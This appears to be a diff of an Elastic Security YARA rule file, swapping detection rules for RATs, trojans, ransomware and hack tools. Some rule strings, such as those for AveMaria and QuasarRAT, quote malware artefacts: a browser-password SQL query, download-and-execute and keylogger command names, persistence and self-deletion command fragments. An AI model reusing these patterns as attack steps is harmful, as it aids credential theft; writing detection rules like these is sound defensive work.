-		description = "Detects Windows Hacktool Sharpview (Windows.Hacktool.SharpView)"
+		description = "Detects Windows Trojan Quasarrat (Windows.Trojan.Quasarrat)"
 		author = "Elastic Security"
-		id = "2c7603ad-27f4-49fc-9fab-f4284620452f"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "e52df647-c197-4790-b051-8951fba80c3b"
+		date = "2021-06-27"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpView.yar#L1-L34"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0621954bd329b5cabe45e92b31053627c27fa40853beb2cce2734fa677ffd93"
-		logic_hash = "1f80b2fd6121c2b36742c819a56626af2e1450dac0f62c67d93f09e4e140b75f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Quasarrat.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a58efd253a25cc764d63476931da2ddb305a0328253a810515f6735a6690de1d"
+		logic_hash = "41f32e0c9b3b43d10baef10060e064ad860558bcdeb4281a30d30c16615ed21d"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "379606da5cf6adb58d6a8e693d379252f7987ff295f838df092ce2246da08354"
+		fingerprint = "c888f0856c6568b83ab60193f8144a61e758e6ff53f6ead8565282ae8b3a9815"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77670,72 +81809,61 @@ rule ELASTIC_Windows_Hacktool_Sharpview_2C7603Ad : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$guid = "22A156EA-2623-45C7-8E50-E864D9FC44D3" ascii wide nocase
-		$print_str0 = "[Add-DomainObjectAcl] Granting principal {0} rights GUID '{1}' on {2}" ascii wide
-		$print_str1 = "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: {0}" ascii wide
-		$print_str2 = "[Get-WMIProcess] Error enumerating remote processes on '{0}', access likely denied: {1}" ascii wide
-		$print_str3 = "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." ascii wide
-		$print_str4 = "[Get-DomainGUIDMap] Error in building GUID map: {e}" ascii wide
-		$str0 = "^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$" ascii wide
-		$str1 = "(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))" ascii wide
-		$str2 = "^(CN|OU|DC)=" ascii wide
-		$str3 = "(|(samAccountName={0})(name={1})(displayname={2}))" ascii wide
-		$str4 = "^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$" ascii wide
-		$str5 = "LDAP://|^CN=.*" ascii wide
-		$str6 = "(objectCategory=groupPolicyContainer)" ascii wide
-		$str7 = "\\\\{0}\\SysVol\\{1}\\Policies\\{2}" ascii wide
-		$str8 = "S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$" ascii wide
-		$str9 = "^S-1-5-.*-[1-9]\\d{3,}$" ascii wide
+		$a1 = "GetKeyloggerLogsResponse" ascii fullword
+		$a2 = "DoDownloadAndExecute" ascii fullword
+		$a3 = "http://api.ipify.org/" wide fullword
+		$a4 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide fullword
+		$a5 = "\" /sc ONLOGON /tr \"" wide fullword
 
 	condition:
-		$guid or ( all of ($str*) and 1 of ($print_str*))
+		4 of them
 }
-rule ELASTIC_Linux_Exploit_Alie_E69De1Ee : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Amadey_7Abb059B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Alie (Linux.Exploit.Alie)"
+		description = "Detects Windows Trojan Amadey (Windows.Trojan.Amadey)"
 		author = "Elastic Security"
-		id = "e69de1ee-294d-437e-a943-abb731842523"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "7abb059b-4001-4eec-8185-1e0497e15062"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Alie.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "882839549f062ab4cbe6df91336ed320eaf6c2300fc2ed64d1877426a0da567d"
-		logic_hash = "bb4625751c924b9ff5d32cc044fcff68892e82d9e94d679c4e4c8286f680a854"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Amadey.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e"
+		logic_hash = "23b75d6df9e2a7f8e1efee46ecaf1fc84247312b19a8a1941ddbca1b2ce5e1db"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "01fa5343fa0fb60c320f9fa49beb9c7a8a821ace7f1d6e48ea103e746b3f27a2"
+		fingerprint = "686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0C 8D 4B 08 8D 53 0C B0 0B CD 80 89 C3 31 C0 B0 }
+		$a = { 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Helloxd_0C50F01B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Amadey_C4Df8D4A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Helloxd (Windows.Ransomware.Helloxd)"
+		description = "Detects Windows Trojan Amadey (Windows.Trojan.Amadey)"
 		author = "Elastic Security"
-		id = "0c50f01b-5f3d-4112-9930-ca1150fc12fa"
-		date = "2022-06-14"
-		modified = "2022-07-18"
+		id = "c4df8d4a-01f4-466f-8225-7c7f462b29e7"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Helloxd.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "435781ab608ff908123d9f4758132fa45d459956755d27027a52b8c9e61f9589"
-		logic_hash = "71e09fa1a00fa6f3688129ee2b2a8957b84f64ef51fcba5123a6a9df80a9c7e1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Amadey.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2"
+		logic_hash = "7f96c4de585223033fb7e7906be6d6898651ecf30be51ed01abde18ef52c0e1e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "462d8c231d608e28e66d810b811f9fdf82d0b3770d21267a4375669a26bbaafd"
+		fingerprint = "4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77743,66 +81871,57 @@ rule ELASTIC_Windows_Ransomware_Helloxd_0C50F01B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$mutex = "With best wishes And good intentions..."
-		$ransomnote0 = ":: our TOX below >:)"
-		$ransomnote1 = "You can download TOX here"
-		$ransomnote2 = "...!XD ::"
-		$productname = "HelloXD" ascii wide
-		$legalcopyright = "uKn0w" ascii wide
-		$description = "VhlamAV" ascii wide
-		$companyname = "MicloZ0ft" ascii wide
+		$a1 = "D:\\Mktmp\\NL1\\Release\\NL1.pdb" fullword
 
 	condition:
-		($mutex and all of ($ransomnote*)) or (3 of ($productname,$legalcopyright,$description,$companyname))
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Hive_55619Cd0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Backegmm_B59712E6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Hive (Windows.Ransomware.Hive)"
+		description = "Detects Linux Trojan Backegmm (Linux.Trojan.Backegmm)"
 		author = "Elastic Security"
-		id = "55619cd0-6013-45e2-b15e-0dceff9571ab"
-		date = "2021-08-26"
-		modified = "2022-01-13"
+		id = "b59712e6-d14d-4a57-a3d6-2dc323bf840d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Hive.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609"
-		logic_hash = "51e2b03a9f9b92819bbf05ecbb33a23662a40e7d51f9812aa8243c4506057f1f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Backegmm.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d6c8e15cb65102b442b7ee42186c58fa69cd0cb68f4fd47eb5ad23763371e0be"
+		logic_hash = "a2e6016bfd8475880c28c89b5f5beeef1335de9529d44bbe7c5aaa352aab9a29"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "04df3169c50fbab4e2b495de5500c62ddf5e76aa8b4a7fc8435f39526f69c52b"
+		fingerprint = "61b2f0c7cb98439b05776edeaf06b114d364119ebe733d924158792110c5e21c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "google.com/encryptor.(*App).KillProcesses" ascii fullword
-		$a2 = "- Do not shutdown or reboot your computers, unmount external storages." ascii fullword
-		$a3 = "hive"
+		$a = { 69 73 74 65 6E 00 66 6F 72 6B 00 73 70 72 69 6E 74 66 00 68 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Hive_3Ed67Fe6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dodgebox_095012D2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Hive (Windows.Ransomware.Hive)"
+		description = "Detects Windows Trojan Dodgebox (Windows.Trojan.DodgeBox)"
 		author = "Elastic Security"
-		id = "3ed67fe6-6347-4aef-898d-4cb267bcbfc7"
-		date = "2021-08-26"
-		modified = "2022-01-13"
+		id = "095012d2-2804-44f5-b4a1-f9d9c028daf1"
+		date = "2024-07-11"
+		modified = "2024-07-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Hive.yar#L23-L45"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609"
-		logic_hash = "a599f0d528bdbec00afa7e9a5cddec5e799ee755a7f30af70dde7d2459b70155"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DodgeBox.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c6a3a1ea84251aed908702a1f2a565496d583239c5f467f5dcd0cfc5bfb1a6db"
+		logic_hash = "f1fe9b05deaebaddd83dda0ad98602b49682f8ba767de8c0ffad761d344c5115"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a15acde0841f08fc44fdc1fea01c140e9e8af6275a65bec4a7b762494c9e6185"
+		fingerprint = "0797dbe75dea90df77d35d2d4a259b4402c041bc10f9e52df2ef80b2a5804c9f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77810,32 +81929,32 @@ rule ELASTIC_Windows_Ransomware_Hive_3Ed67Fe6 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "bmr|sql|oracle|postgres|redis|vss|backup|sstp"
-		$a2 = "key.hive"
-		$a3 = "Killing processes"
-		$a4 = "Stopping services"
-		$a5 = "Removing itself"
+		$a1 = { 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 43 72 79 70 74 6F 67 72 61 70 68 79 00 4D 61 63 68 69 6E 65 47 75 69 64 00 2E 70 64 61 74 61 }
+		$a2 = { 5C 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 2E 00 4E 00 45 00 54 00 5C 00 61 00 73 00 73 00 65 00 6D 00 62 00 6C 00 79 00 5C 00 47 00 41 00 43 00 5F 00 4D 00 53 00 49 00 4C 00 5C 00 00 00 00 00 00 00 25 00 6C 00 6C 00 64 00 2E 00 6C 00 6F 00 67 }
+		$a3 = { 48 83 EC 20 48 63 51 3C 48 8B D9 33 F6 48 8D 3C 11 8B 8F 90 00 00 00 85 C9 74 21 8B 87 94 00 00 00 85 C0 74 17 44 8B C0 48 03 CB 33 D2 ?? ?? ?? ?? ?? 48 89 B7 90 00 00 00 8B 53 3C 48 63 FA }
+		$a4 = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 63 51 3C 48 8B D9 33 F6 48 8D 3C 11 8B 8F 90 00 }
+		$a5 = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 63 59 3C 33 D2 4C 8B C3 48 8B F1 E8 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Ransomware_Hive_B97Ec33B : FILE MEMORY
+rule ELASTIC_Windows_Backdoor_Dragoncastling_4Ecf6F9F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Hive (Windows.Ransomware.Hive)"
+		description = "Detects Windows Backdoor Dragoncastling (Windows.Backdoor.DragonCastling)"
 		author = "Elastic Security"
-		id = "b97ec33b-d4cf-4b70-8ce8-8a5d20448643"
-		date = "2021-08-26"
-		modified = "2022-01-13"
+		id = "4ecf6f9f-a4c8-4962-9f16-cf7fb76467d3"
+		date = "2022-11-08"
+		modified = "2022-12-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Hive.yar#L47-L65"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609"
-		logic_hash = "10034d9f53fd5099a423269e0c42c01eac18318f5d11599e1390912c8fd7af25"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Backdoor_DragonCastling.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9776c7ae6ca73f87d7c838257a5bcd946372fbb77ebed42eebdfb633b13cd387"
+		logic_hash = "26ff86354230f1006bd451eab5c1634b91888330d124a06dd2dfa5ab515d6e1a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7f2c2d299942390d953599b180ed191d9db999275545a7ba29059fd49b858087"
+		fingerprint = "be22acb2c9c28b68d9fffe255f7d72065fb683ef2e3c4f73914f51e14ae43175"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77843,117 +81962,136 @@ rule ELASTIC_Windows_Ransomware_Hive_B97Ec33B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 74 C3 8B 44 24 78 8B 08 8B 50 04 8B 40 08 89 0C 24 89 54 24 04 89 44 }
+		$a1 = "recv bomb" ascii fullword
+		$a2 = "%s\\kbg%x.dat"
+		$a3 = "\\smcache.dat" wide fullword
+		$a4 = "%s\\game_%x.log"
+		$a5 = "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}"
+		$a7 = "HOST: %ws:%ws" ascii fullword
+		$a8 = "; Windows NT %d.%d" wide fullword
+		$a9 = "Mozilla / 5.0 (Windows NT 6.3; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 41.0.2272.118 Safari / 537.36" ascii fullword
+		$a10 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" wide fullword
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Trojan_Modpipe_12Bc2604 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Physmem_Cc0978Df : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Modpipe (Windows.Trojan.ModPipe)"
+		description = "Name: physmem.sys"
 		author = "Elastic Security"
-		id = "12bc2604-d3fe-40d6-8a7c-5bd53e403453"
-		date = "2023-07-27"
-		modified = "2023-09-20"
+		id = "cc0978df-153e-4421-8be8-37a0824133e2"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ModPipe.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0a26de1b2fb48d65cde61b60c0eba478da73a3eeaeb785d1b2d6095eccbe34e2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_PhysMem.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
+		logic_hash = "e2fabf5889dbdc98dc6942be4fb0de4351d64a06bab945993b2a2c4afe89984e"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "30ff9f28cec84496ae7c809ec0401bc10573c690d93f3fb3865b5a913508795e"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "b94d5530dc3db4101b6ef06dc2421a10785f47bcb26d54f309a250a68699fa83"
+		threat_name = "Windows.Hacktool.PhysMem"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0)" fullword
-		$a2 = "/robots.txt" fullword
-		$a3 = "www.yahoo.com/?"
-		$a4 = "www.google.com/?"
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 70 00 68 00 79 00 73 00 6D 00 65 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Macos_Virus_Maxofferdeal_53Df500F : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Physmem_B3Fa382B : FILE
 {
 	meta:
-		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
+		description = "Detects Windows Hacktool Physmem (Windows.Hacktool.PhysMem)"
 		author = "Elastic Security"
-		id = "53df500f-3add-4d3d-aec3-35b7b5aa5b35"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "b3fa382b-48a5-4004-92ad-bba0d42243ad"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Maxofferdeal.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ecd62ef880da057726ca55c6826ce4e1584ec6fc3afaabed7f66154fc39ffef8"
-		logic_hash = "ed63c14e31c200f906b525c7ef1cd671511a89c8833cfa1a605fc9870fe91043"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_PhysMem.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88df37ede18bea511f1782c1a6c4915690b29591cf2c1bf5f52201fbbb4fa2b9"
+		logic_hash = "36a60b78de15a52721ad4830b37daffc33d7689e8b180fe148876da00562273a"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2f41de7b8e55ef8db39bf84c0f01f8d34d67b087769b84381f2ccc3778e13b08"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "81285d1d8bdb575cb3ebf7f2df2555544e3f1342917e207def00c358a77cd620"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 AC AD AE A9 BD A4 BC 97 }
+		$str1 = "\\Phymemx64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Macos_Virus_Maxofferdeal_F4681Eba : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Avemaria_31D2Bce9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
+		description = "Detects Windows Trojan Avemaria (Windows.Trojan.AveMaria)"
 		author = "Elastic Security"
-		id = "f4681eba-20f5-4e92-9f99-00cd57412c45"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "31d2bce9-3266-447b-9a2d-57cf11a0ff1f"
+		date = "2021-05-30"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Maxofferdeal.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ecd62ef880da057726ca55c6826ce4e1584ec6fc3afaabed7f66154fc39ffef8"
-		logic_hash = "cf478ec5313b40d74d110e4d6e97da5f671d5af331adc3ab059a69616e78c76c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_AveMaria.yar#L1-L31"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b"
+		logic_hash = "7ba59c3be07e35b415719b60b14a0f629619e5729c20f50f00dbea0c2f8bd026"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b6663c326e9504510b804bd9ff0e8ace5d98826af2bb2fa2429b37171b7f399d"
+		fingerprint = "8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { BA A4 C8 BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 AC AD AE A9 BD A4 BC 97 }
+		$a1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword
+		$a2 = "SMTP Password" wide fullword
+		$a3 = "select signon_realm, origin_url, username_value, password_value from logins" ascii fullword
+		$a4 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" wide fullword
+		$a5 = "for /F \"usebackq tokens=*\" %%A in (\"" wide fullword
+		$a6 = "\\Torch\\User Data\\Default\\Login Data" wide fullword
+		$a7 = "/n:%temp%\\ellocnak.xml" wide fullword
+		$a8 = "\"os_crypt\":{\"encrypted_key\":\"" wide fullword
+		$a9 = "Hey I'm Admin" wide fullword
+		$a10 = "\\logins.json" wide fullword
+		$a11 = "Accounts\\Account.rec0" ascii fullword
+		$a12 = "warzone160" ascii fullword
+		$a13 = "Ave_Maria Stealer OpenSource github Link: https://github.com/syohex/java-simple-mine-sweeper" wide fullword
 
 	condition:
-		all of them
+		8 of ($a*)
 }
-rule ELASTIC_Macos_Virus_Maxofferdeal_4091E373 : FILE MEMORY
+rule ELASTIC_Macos_Backdoor_Useragent_1A02Fc3A : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
+		description = "Detects Macos Backdoor Useragent (MacOS.Backdoor.Useragent)"
 		author = "Elastic Security"
-		id = "4091e373-c3a9-41c8-a1d8-3a77585ff850"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "1a02fc3a-a394-457b-8af5-99f7f22b0a3b"
+		date = "2021-11-11"
+		modified = "2022-07-22"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Virus_Maxofferdeal.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c38c4bdd3c1fa16fd32db06d44d0db1b25bb099462f8d2936dbdd42af325b37c"
-		logic_hash = "ce82f6d3a2e4b7ffe7010629bf91a9144a94e50513682a6c0622603d28248d51"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Backdoor_Useragent.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "623f99cbe20af8b79cbfea7f485d47d3462d927153d24cac4745d7043c15619a"
+		logic_hash = "90debdfc24ef100952302808a2e418bca2a46be3e505add9a0ccf4c49aff5102"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3d8e7db6c39286d9626c6be8bfb5da177a6a4f8ffcec83975a644aaac164a8c7"
+		fingerprint = "22afa14a3dc6f8053b93bf3e971d57808a9cc19e676f9ed358ba5f1db9292ba4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77961,125 +82099,129 @@ rule ELASTIC_Macos_Virus_Maxofferdeal_4091E373 : FILE MEMORY
 		os = "macos"
 
 	strings:
-		$a = { B8 F2 E7 E7 BF BF BF E6 AF A7 A7 AF A4 AD E6 AB A7 A5 C8 8B 8E 8A BD A6 AC A4 }
+		$s1 = "/Library/LaunchAgents/com.UserAgent.va.plist"
+		$s2 = "this is not root"
+		$s3 = "rm -Rf "
+		$s4 = "/start.sh"
+		$s5 = ".killchecker_"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Macos_Virus_Maxofferdeal_20A0091E : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Sodinokibi_2883D7Cd : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
+		description = "Detects Linux Ransomware Sodinokibi (Linux.Ransomware.Sodinokibi)"
 		author = "Elastic Security"
-		id = "20a0091e-a3ef-4a13-ba92-700f3583e06d"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "2883d7cd-fd3b-47a5-9283-a40335172c62"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
